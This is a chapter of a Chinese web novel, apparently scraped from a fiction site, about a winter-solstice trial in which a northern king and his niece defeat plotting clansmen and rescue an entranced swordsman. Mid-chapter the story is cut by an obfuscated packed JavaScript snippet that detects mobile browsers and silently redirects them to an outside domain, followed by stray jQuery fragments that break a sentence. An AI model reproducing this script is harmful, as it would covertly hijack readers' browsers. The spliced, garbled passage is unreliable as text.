70. 冬至试炼

作品:《独尊贵妾

    冬至日的草原像一块被冻裂的青铜镜。惨白的日头悬在灰蒙蒙的天上,连风都带着冰碴子,刮过脸颊时像小刀割肉。北境的族人们裹着厚重的裘皮,沉默地围在试炼场四周,羊皮袄下的手都按在刀柄上,空气里弥漫着马粪、汗臭和一丝若有若无的血腥气——那是昨夜清理场地时,没擦干净的血冻成了冰碴,被风吹散在空气里。


    试炼场中央立着七根黑石柱,柱身上刻满了北境的古老图腾,顶端的火盆里燃着万年松的油脂,冒出的黑烟笔直地冲向天空,像是在给长生天传递信号。银坚穿着银白战甲,站在最中间的石柱下,左手按着腰间的弯刀,右手紧紧攥着一枚狼牙符——那是银璃当年给他的护身符,边角已经被摩挲得发亮。


    “阿昭,准备好了?”他侧头看向身侧的虞怜,她今天穿了一身北境传统的银灰色劲装,袖口和裤脚都绣着细密的狼纹,长发编成麻花辫垂在背后,末端系着银铃,一动就发出清脆的响声,与这肃杀的气氛格格不入。


    虞怜点头时,银铃轻轻碰撞:“舅舅放心。”她的指尖在袖中捏着三枚银针,针尾淬了巫医特制的草药汁,能暂时压制血灵的波动——这是她和银坚商定的计策,对那些无关紧要的挑战者,就用御魂让他们陷入假死,等试炼结束,再由巫医用药草彻底封了他们的血灵,省得日后成为隐患。


    “呜——”


    牛角号突然在草原上响起,悠长而凄厉,像是死神的叹息。试炼场入口处传来杂乱的脚步声,几十个穿着各色战甲的勇士涌了进来,个个目露凶光,手里的兵器在惨白的日光下闪着冷光。他们是北境七部选出来的挑战者,半数是银云与银华的人,看向虞怜的眼神里淬着毒——在他们眼里,这个从中原回来的公主,根本不配站在王帐前。


    “开始!”


    随着银坚的吼声,第一个挑战者已经扑了上来。那是个铁塔似的壮汉,来自银华的部落,手里挥着一柄巨大的石锤,砸向地面时激起一片冰屑。银坚身形一晃,周身突然泛起淡蓝色的光晕——时间血灵发动了。


    壮汉的动作瞬间僵住,石锤停在离虞怜头顶三寸的地方,眼珠瞪得滚圆,像是被冻住的青蛙。虞怜旋身避开,指尖弹出一道银光,没入壮汉的眉心。他闷哼一声,直挺挺地倒在地上,呼吸脉搏尽数消失,与真死无异。


    “妖术!”人群里爆发出怒吼。


    虞怜充耳不闻,与银坚背靠背站在一起。第二个挑战者刚拔出刀,就被银坚的时间血灵定在原地;第三个想用弓箭偷袭,被虞怜的御魂控制,调转箭头射向自己的同伴;第四个……


    不过一炷香的功夫,试炼场上已经倒下了二十多个挑战者。虞怜的额角渗出细汗,控制十几个人的心神比她想象中更耗力气,蓝田醉留下的隐痛在骨髓里翻涌,像是有无数根针在扎。但她不能停,目光扫过剩下的挑战者,发现他们看自己的眼神里,除了愤怒,还多了一丝恐惧。


    “银云的人,该你们了。”银坚的声音在空旷的试炼场里回荡,他的时间血灵已经维持了太久,嘴唇泛起青白,却依旧挺直着脊背。


    从人群里走出五个黑衣人,脸上蒙着黑布,只露出一双双燃烧着仇恨的眼睛。他们的步伐诡异,落地时悄无声息,腰间鼓鼓囊囊的,像是藏着什么东西。虞怜的心沉了下去——这不是普通的勇士,更像是训练有素的死士。


    银坚再次发动血灵,淡蓝色的光晕笼罩了半个试炼场。可那五个黑衣人只是动作慢了一瞬,居然还能继续前进,为首的人从怀里摸出一个陶罐,猛地砸在地上!


    黑色的粉末瞬间弥漫开来,带着刺鼻的腥气。虞怜闻到的刹那,只觉得识海一阵剧痛,御魂的力量险些溃散——是黄泉草的粉末!


    “卑鄙!”银坚怒吼着挥刀砍去,却被一个黑衣人缠住。剩下的四个径直扑向虞怜,刀光剑影里,她看到他们袖口露出的银云狼徽。


    就在这时,异变陡生。


    一道凌厉的刀风从背后袭来,快得像闪电。虞怜凭着多年的本能旋身避开,刀锋还是划破了她的肩头,带起一串血珠。她踉跄着回头,看清来人时,瞳孔骤然收缩。


    是文骋。


    他穿着一身染血的玄色劲装,头发散乱地贴在汗湿的额头上,手里握着那柄熟悉的秋水雁翎刀——刀身上还沾着未干的血迹。最让她心惊的是他的眼睛,那双总是清明锐利的眸子此刻布满血丝,眼白泛着不正常的红,脖颈上的青筋暴起,像是在承受极大的痛苦。


    “文骋?”虞怜下意识地唤他,声音里带着自己都未察觉的颤抖。


    他没有回应,只是死死盯着她,像是不认识她一样。秋水雁翎刀再次挥来,刀风带着毁天灭地的气势,直取她的心口。虞怜能感觉到,他的内力比以往任何时候都要狂暴,却又带着一种诡异的滞涩,仿佛有两股力量在他体内撕扯。


    “小心!”银坚摆脱缠斗,一脚踹向文骋的腰侧。


    “砰”的一声闷响,文骋像断线的风筝般飞了出去,重重撞在黑石柱上,喷出一口鲜血。他挣扎着想要爬起来,却眼前一黑,彻底晕了过去。


    “他不对劲。”虞怜扶住银坚的手臂,指尖冰凉,“他的眼睛……像是中了蛊。”


    话音未落,试炼场的两侧突然爆发出呐喊。银云与银华带着人马冲了进来,银云的黑袍在风中猎猎作响,独眼里闪烁着疯狂的光;银华则骑着一匹黑马,手里的长枪直指倒地的文骋:“抓住中原细作!为公主报仇!”


    他们的目标很明确——银华去抓文骋,想借此坐实“中原刺杀公主”的罪名;银云则扑向银坚,弯刀上淬着幽蓝的毒,显然是想趁机夺权。


    “早就等着你们了。”虞怜冷笑一声,正要发动御魂,却见一道银光从人群里射出,比箭还快。


    银云与银华刚迈出两步,突然像被无形的绳子绊倒,重重摔在地上。他们挣扎着想要起身,却发现四肢都在抽搐,嘴角溢出黑血——是银玄的毒!


    银玄从阴影里走出来,银云在地上抽搐着,独眼里的疯狂渐渐被惊恐取代。他死死盯着银玄,像是第一次认识这个一向沉默寡言的侄儿:“你……你竟然敢……”


    “我为什么不敢?”银玄缓步走到他面前,靴底踩在银云试图抬起的手腕上,声音冷得像草原的冰,“你以为把银素藏在国师的无极观,就能瞒天过海?你以为用他的血炼药,就能获得长生?”


    银华猛地抬头,嘴角的黑血沫子喷了一地:“你胡说!银素明明死在冀州的山洞里,是被文骋那厮……”


    “被文骋?你还真是不到黄河不死心,”银玄从怀中扔出一个银质狼符,落在银华面前的冰地上,发出清脆的响声,“这是银素的贴身之物,上个月从无极观的密道里搜出来的。国师倒是大方,给了他一间石室,每日用活人的心肝炖汤,说是能‘滋养’他的血灵。”


    人群里爆发出一阵哗然。银云为了夺权竟囚禁银素,还用活人炼药,简直是残忍至极、有违天道


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16082897|179439||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。银玄的目光穿透骚动的人群,与银坚遥遥相触。那一眼无需言语,北境王已读懂其中深意——该收网了。


    银坚抬手挥了挥,早已埋伏在试炼场四周的亲卫立刻鱼贯而入。他们穿着统一的玄色软甲,动作利落得像草原上的猎豹,将地上昏迷的血灵者一个个抬上担架,对那些试图挣扎的,则用浸过草药的布巾捂住口鼻,不多时便再无声息。铁甲碰撞的脆响与担架摩擦地面的沙沙声交织,竟奇异地压过了人群的议论,让整个试炼场渐渐归于沉寂。


    “北境的子民们。”银坚的声音在空旷的场地上回荡,带着血灵者特有的穿透力,每个字都清晰地砸在族人耳中,“今日之事,是我王帐管教不力,让宵小之辈钻了空子。”


    他缓步走到银云与银华面前,两人还在地上抽搐,黑袍下的皮肤已泛起诡异的青紫色。银坚抬脚踩住银云的胸口,那只曾握过无数次长枪的手此刻稳如磐石:“银云私藏黄泉草、构陷亲王,银华勾结外敌、意图挑起战火,按北境律法,当废其血灵,囚于黑石城地牢,永世不得踏出半步。”


    人群里爆发出一阵低低的抽气声。废掉血灵对北境王族而言,比死更难受——那意味着从此沦为与普通族人无异的凡人,再也无法感应长生天的指引。


    “王上英明!”景安第一个出声附和,青色袍角在寒风中猎猎作响。


    紧接着,银苍等几位老亲王也陆续开口,声浪如潮水般蔓延开来。那些原本摇摆不定的族人见大势已定,也纷纷垂下头,对着银坚的方向行礼。


    银坚心中松了一口气,依旧面沉如水,眼神不由得投向虞怜的方向,却发现她已经消失不见了。


    此时的文骋仍昏迷在黑石柱下,玄色劲装被血浸透,侧脸贴着冰冷的地面,长长的睫毛上凝着细碎的冰粒。虞怜犹豫片刻,终是转身走向他,却被银坚拦住。


    “阿昭,”北境王的声音低沉,“他身上的蛊还没解。”


    “我知道。”虞怜的目光掠过文骋紧蹙的眉头,“但他不是自愿来刺杀我的。”


    银玄不知何时走了过来,手里拿着一个小小的陶罐:“这是解黄泉蛊的药,半个时辰前刚从银云帐中搜出来的。”他顿了顿,补充道,“银素的下落也问出来了,我这就启程去无极观救他。”


    虞怜接过陶罐的手指微微一颤。她掀开文骋的衣襟,露出他胸口狰狞的伤口,此刻正汩汩冒着血沫。她将药粉混在温水里,撬开他的牙关一点点喂进去,动作轻柔得不像在照料仇敌。


    “你就不怕他醒了再给你一刀?”银玄抱臂站在一旁,语气里带着几分探究。


    “他不会。”虞怜的指尖擦过文骋汗湿的鬓发,那里还沾着北境的沙砾,“我用血灵探查过他的识海了——他若真想杀我,早在冰棺旁就动手了。”


    话音未落,文骋的睫毛忽然颤了颤。他缓缓睁开眼,那双布满血丝的眸子先是茫然,待看清眼前的人时,骤然缩紧:“虞怜……”


    “别说话。”虞怜按住他想挣扎的手,掌心的温度透过布料传过去,“你中了黄泉蛊,刚喂了解药,得静养。”


    文骋的目光扫过四周——银坚正与老亲王们议事,亲卫在清理场地,族人已陆续散去,唯有远处的黑石柱上,还残留着打斗的痕迹。他忽然抓住虞怜的手腕,力气大得惊人:“银云他们……”


    “已经解决了。”虞怜掰开他的手指,声音平静,“北境不会再有人借我的名义开战,你大可以放心。”